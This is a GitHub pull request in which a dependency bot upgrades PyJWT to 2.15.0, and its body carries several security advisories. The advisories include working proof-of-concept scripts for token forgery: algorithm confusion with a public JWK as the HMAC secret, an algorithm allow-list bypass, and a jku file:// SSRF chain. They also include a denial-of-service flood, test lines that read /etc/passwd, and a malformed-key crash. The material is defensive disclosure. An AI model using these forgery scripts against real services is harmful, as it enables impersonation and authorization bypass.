Skip to content

Update dependency pyjwt to v2.15.0 [SECURITY] - #841

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 1, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pyjwt 2.13.0 → 2.15.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


PyJWT: Algorithm allow-list bypass when decoding with PyJWK / PyJWKClient keys

CVE-2026-48523 / GHSA-jq35-7prp-9v3f

More information

Details

[!NOTE]
Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decode_complete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.get_signing_key_from_jwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/api_jws.py in 2.12.1, _verify_signature() treats PyJWK keys differently from normal PEM/public-key inputs:

if algorithms is None and isinstance(key, PyJWK):
    algorithms = [key.algorithm_name]

...

if not alg or (algorithms is not None and alg not in algorithms):
    raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK):
    alg_obj = key.Algorithm
    prepared_key = key.key
else:
    alg_obj = self.get_algorithm_by_name(alg)
    prepared_key = alg_obj.prepare_key(key)

This logic means:

  1. The JWT header alg is checked only as a string against the caller-supplied allow-list.
  2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm.
  3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/api_jwk.py from the JWK's alg field or from key-type defaults:

if not algorithm and isinstance(self._jwk_data, dict):
    algorithm = self._jwk_data.get("alg", None)

...

self.algorithm_name = algorithm
self.Algorithm = get_default_algorithms()[algorithm]
self.key = self.Algorithm.from_jwk(self._jwk_data)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

signing_key = jwks_client.get_signing_key_from_jwt(token)
jwt.decode(
    token,
    signing_key,
    audience="https://expenses-api",
    options={"verify_exp": False},
    algorithms=["RS256"],
)

PyJWKClient.get_signing_key_from_jwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

  • self-service OAuth client assertions
  • multi-tenant key registration
  • federation / BYO-JWKS trust models
  • any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#​886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

import json
import jwt
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat
from jwt.api_jwk import PyJWK
from jwt.algorithms import RSAAlgorithm
from jwt.utils import base64url_encode

##### Generate an RSA keypair controlled by the attacker.
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
pub_pem = pub.public_bytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

##### Build a PyJWK from the public key.

##### With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default.
jwk = PyJWK.from_json(RSAAlgorithm.to_jwk(pub))

##### Create a token whose protected header claims RS512.
header = {"typ": "JWT", "alg": "RS512"}
payload = {"sub": "alice"}

header_b64 = base64url_encode(
    json.dumps(header, separators=(",", ":"), sort_keys=True).encode()
)
payload_b64 = base64url_encode(
    json.dumps(payload, separators=(",", ":")).encode()
)
signing_input = b".".join([header_b64, payload_b64])

##### Sign the RS512-labelled token with RS256 instead.
sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signing_input, priv)
token = b".".join([header_b64, payload_b64, base64url_encode(sig)]).decode()

print("token:", token)
print("PyJWK path:")
print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:")
try:
    print(jwt.decode(token, pub_pem, algorithms=["RS512"]))
except Exception as e:
    print(f"{type(e).__name__}: {e}")

Observed output:

PyJWK path:
{'sub': 'alice'}
PEM path:
InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

  • the caller restricted allowed algorithms to ["RS512"]
  • the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decode_complete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

  • If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited.
  • If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

  • JWT client assertion flows where each client uses its own key
  • multitenant systems where tenants register JWK/JWKS material
  • federation-style trust models
  • any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

  • bypass a server-side requirement such as "only PS256" or "only RS512"
  • continue using a deprecated or blocked algorithm after the server thought it had disabled it
  • authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

  • it does not let an attacker forge tokens without access to a valid signing key or signing oracle
  • it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

CVE-2026-48526 / GHSA-xgmm-8j9v-c9wx

More information

Details

[!NOTE]
Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

##### Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

##### Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

##### Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

##### -> b'{"sub":"alice","admin":true}'
Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS

CVE-2026-48525 / GHSA-w7vc-732c-9m39

More information

Details

[!NOTE]
Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detached_payload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.


Affected Component(s)
  • jwt/api_jws.py

    • PyJWS.decode() / PyJWS.decode_complete()
    • _load() (parsing and Base64URL decoding)

Root Cause (exact logic flaw)
What happens in the code

In jwt/api_jws.py, decode_complete() does the following (order matters):

  • Calls _load(jwt) first, which decodes the token segments
  • Only after that, checks header.get("b64") and if False, it replaces payload = detached_payload and rebuilds the signing input

This behavior is visible in decode_complete():

  • _load(jwt) happens before the b64=false handling
  • then payload = detached_payload and signing_input = ... detached_payload happens afterward ([GitHub][1])

Inside _load(), PyJWT unconditionally performs:

  • payload = base64url_decode(payload_segment)
    This is the expensive step the attacker can amplify ([GitHub][1])
Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detached_payload as the real payload). Yet PyJWT still decodes it first, meaning:

  • cost is paid even when signature is invalid
  • the decoded bytes are discarded
  • attacker controls the size of this cost via token length

Impact (evidence-driven)
Security impact
  • Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key.
  • CPU amplification: Base64URL decode time scales linearly with payload segment size.
  • Memory amplification: decoded output allocates large byte buffers (tens of MB per request).
  • Operational impact: request queueing / worker starvation under modest concurrency bursts.
Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2])
(PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)


Affected Versions
  • Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo).
  • Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)


Threat Model
Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

  • token is provided in JSON body / query / header
  • actual payload is the HTTP request body passed as detached_payload
Attacker
  • remote unauthenticated client
  • can send requests to verify endpoint
  • does not need a valid signature (invalid signature still triggers the expensive decode path)
Attack chain
  1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"].
  2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters.
  3. Server calls PyJWS.decode(...detached_payload=...).
  4. PyJWT decodes the inflated segment (CPU + memory).
  5. Signature is rejected afterward (401) — but resources already consumed.
  6. Repeated requests or bursts cause queueing/worker starvation → DoS.

Proof of Concept - file names + results
PoC placement

PoC # 1 - Localhost verification server

File: server_localhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints:
ok / time_ms / peak_bytes / token_len / error.

Results (server console output)
[+] Listening on http://127.0.0.1:8000
[+] POST /verify  JSON: {"token": "..."}

[127.0.0.1] ok=True  time_ms=0.102 peak_bytes=2624     token_len=117      err=None
[127.0.0.1] ok=False time_ms=2.012 peak_bytes=2000983  token_len=500078   err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=1.591 peak_bytes=2001061  token_len=500117   err=None

[127.0.0.1] ok=True  time_ms=0.065 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=7.534 peak_bytes=8000983  token_len=2000078  err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=6.347 peak_bytes=8001061  token_len=2000117  err=None

[127.0.0.1] ok=True  time_ms=0.066 peak_bytes=2304     token_len=117      err=None
[127.0.0.1] ok=False time_ms=23.034 peak_bytes=32000983 token_len=8000078 err=InvalidSignatureError
[127.0.0.1] ok=True  time_ms=22.097 peak_bytes=32001061 token_len=8000117 err=None

Key takeaways from these results

  • At 8,000,000 chars, a single invalid-signature request still causes:

    • ~23 ms server work
    • ~32 MB peak allocations
    • returns 401 (invalid signature) → attacker does not need key.

PoC # 2 - Localhost network client

File: client_localhost.py
Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)
payload-chars = 500,000
=== BASELINE (valid b64=false token) ===
HTTP: 200
client_wall_ms: 6.3499...
server_time_ms: 0.10197...
server_peak_bytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) ===
HTTP: 401
client_wall_ms: 4.1010...
server_time_ms: 2.01217...
server_peak_bytes: 2000983
error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) ===
HTTP: 200
client_wall_ms: 3.6586...
server_time_ms: 1.59092...
server_peak_bytes: 2001061
payload-chars = 2,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06527...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 7.53430...
server_peak_bytes: 8000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 6.34682...
server_peak_bytes: 8001061
payload-chars = 8,000,000
=== BASELINE ===
HTTP: 200
server_time_ms: 0.06573...
server_peak_bytes: 2304

=== ATTACK (INVALID signature) ===
HTTP: 401
server_time_ms: 23.03403...
server_peak_bytes: 32000983

=== ATTACK (VALID signature) ===
HTTP: 200
server_time_ms: 22.09702...
server_peak_bytes: 32001061

Why this is strong evidence

  • The server clearly does heavy work before rejecting invalid signatures.
  • The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

PoC # 3 - Localhost flood / burst concurrency

File: flood_localhost.py
Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @​ 8,000,000 chars)
total_wall_ms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError')
(19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError')
(18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError')
(13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError')
(11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError')
(17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError')
(10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError')
(7,  401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError')
(8,  401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError')
(1,  401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

  • Each request still costs ~20–23 ms server processing and ~32 MB peak allocations.
  • But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking.
  • All were rejected with 401 InvalidSignatureError → still unauthenticated.

Fix
Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In _load() (or by refactoring parse order), do not Base64-decode payload_segment until after you know whether b64=false applies.

Two safe options:

  1. Reject non-empty payload segment when b64=false

    • Parse header first
    • If b64 is false and payload_segment is non-empty → raise DecodeError before decoding
    • Then verification uses detached_payload only
  2. Skip decoding payload segment entirely when b64=false

    • Keep payload segment as raw bytes or empty
    • Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64url_decode(payload_segment) are visible in the file and line region around _load() and decode_complete() ([GitHub][1]).)


Workarounds
  • Enforce strict max token length at the HTTP boundary (proxy/gateway).
  • Apply rate limiting on verification endpoints.
  • If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)

CVE-2026-48524 / GHSA-fhv5-28vv-h8m8

More information

Details

[!NOTE]
The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary

PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetch_data() finally block clears the JWKS cache on network error.

Root Cause

jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact
  • DoS against JWKS endpoint (unlimited requests per invalid token)
  • DoS against application (network I/O latency)
  • Cascading failure (rate limiting clears cache, breaking legitimate auth)
Suggested Fix
  1. Add refresh cooldown (refuse refresh more than once per TTL period)
  2. Move cache write from finally to else block
Affected Versions

All versions with PyJWKClient (2.4.0 through 2.12.1)

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

CVE-2026-48522 / GHSA-993g-76c3-p5m4

More information

Details

[!NOTE]
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.
Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

##### Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

##### Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

##### Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

##### Vulnerable application pattern: caller derives jku from token header

##### and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)

##### Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py
def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()

def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate
Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Malformed RSA JWK aborts parsing of an entire JWK Set

CVE-2026-102274 / GHSA-w6j9-cwv2-h6wq

More information

Details

Summary

A malformed RSA JWK inside a JWK Set aborts parsing of the entire set instead of being skipped, because RSAAlgorithm.from_jwk can raise a plain ValueError that isn't caught by PyJWKSet's per-key error-skipping logic.

Affected component / version
  • Package: PyJWT (PyPI, ecosystem pip)
  • Files: jwt/api_jwk.py (PyJWK.__init__, PyJWKSet.__init__), jwt/algorithms.py (RSAAlgorithm.from_jwk)
  • Confirmed present in the master branch as of 2026-09-05 (commit 7144e4534c34810f4525dc4578a32addd8212cff, tag 2.13.0). Directly verified identical in tags 2.9.0, 2.10.0, 2.11.0, 2.12.0, 2.12.1, 2.13.0 -- the vulnerable call and the except PyJWTError guard are unchanged across all six releases. Not verified against any release prior to 2.9.0.
Details

PyJWKSet.__init__ (jwt/api_jwk.py:145-152) iterates each key in a JWK Set:

for key in keys:
    try:
        self.keys.append(PyJWK(key))
    except PyJWTError as error:
        if isinstance(error, MissingCryptographyError):
            raise error
        # skip unusable keys
        continue

PyJWK.__init__ (api_jwk.py:82) calls self.Algorithm.from_jwk(self._jwk_data) with no try/except of its own. For an RSA JWK, this dispatches to RSAAlgorithm.from_jwk (jwt/algorithms.py:539-586). When the JWK supplies d, e, n without the CRT parameters (p, q, dp, dq, qi), from_jwk calls cryptography's rsa_recover_prime_factors(public_numbers.n, d, public_numbers.e) (algorithms.py:572-574) to derive the key. If d is not the correct private exponent for that n/e pair, rsa_recover_prime_factors raises a plain ValueError.

ValueError is a built-in Python exception and is not a subclass of jwt.exceptions.PyJWTError (PyJWTError(Exception) is the root of PyJWT's own exception hierarchy). It is therefore not caught by PyJWKSet.__init__'s except PyJWTError, and propagates out of the constructor, aborting the for key in keys: loop before any subsequent key in the list is processed.

PyJWKSet.from_dict/from_json and PyJWK.from_dict/from_json are exported public API (jwt/__init__.py). PyJWKClient.get_jwk_set (jwt/jwks_client.py:158) feeds a fetched JWKS HTTP response directly into PyJWKSet.from_dict with no per-key pre-validation, so this is reachable through the documented PyJWKClient flow whenever the fetched JWKS contains a malformed key alongside valid ones.

Proof of concept
import jwt

good_jwk = {
    "kty": "RSA",
    "n": "<a valid base64url-encoded RSA modulus, e.g. from a real 2048-bit public key>",
    "e": "AQAB",
}

bad_jwk = {
    "kty": "RSA",
    "n": good_jwk["n"],
    "e": "AQAB",
    "d": "AAAAAA",  # not the true private exponent for n/e, no CRT params present
}

jwks_doc = {"keys": [bad_jwk, good_jwk]}

jwt.PyJWKSet.from_dict(jwks_doc)

##### raises: ValueError: Unable to compute factors p and q from exponent d.
##### (uncaught -- PyJWKSet.__init__ never returns, `good_jwk` is never added)
Impact

PyJWKSet.__init__ raises before completing, so no key in the JWK Set is added to the resulting set, including keys unrelated to the malformed entry. This requires the malformed key to already be present in a JWK Set the application parses (e.g. one entry in an aggregated/federated key set, or a key affected by transit corruption before signature verification of the JWKS transport itself). Applications that vet each key individually before adding it to a trusted set are not affected. The failure is an uncaught ValueError, not one of PyJWT's documented jwt.exceptions.* types, so exception handling written against PyJWT's documented contract (except jwt.exceptions.PyJWTError) will not catch it either.

Suggested remediation

Wrap the key-construction call in PyJWK.__init__ (api_jwk.py:82) so a ValueError is converted into InvalidKeyError (a PyJWTError subclass):

try:
    self.key = self.Algorithm.from_jwk(self._jwk_data)
except ValueError as e:
    raise InvalidKeyError(f"Unable to construct key from JWK: {e}") from e

This lets PyJWKSet.__init__'s existing except PyJWTError: continue skip the one malformed key as its own comment already states is intended.

Responsible Disclosure Timeline

Per the OWASP Vulnerability Disclosure Cheat Sheet and Google Project Zero's 2020 disclosure policy:

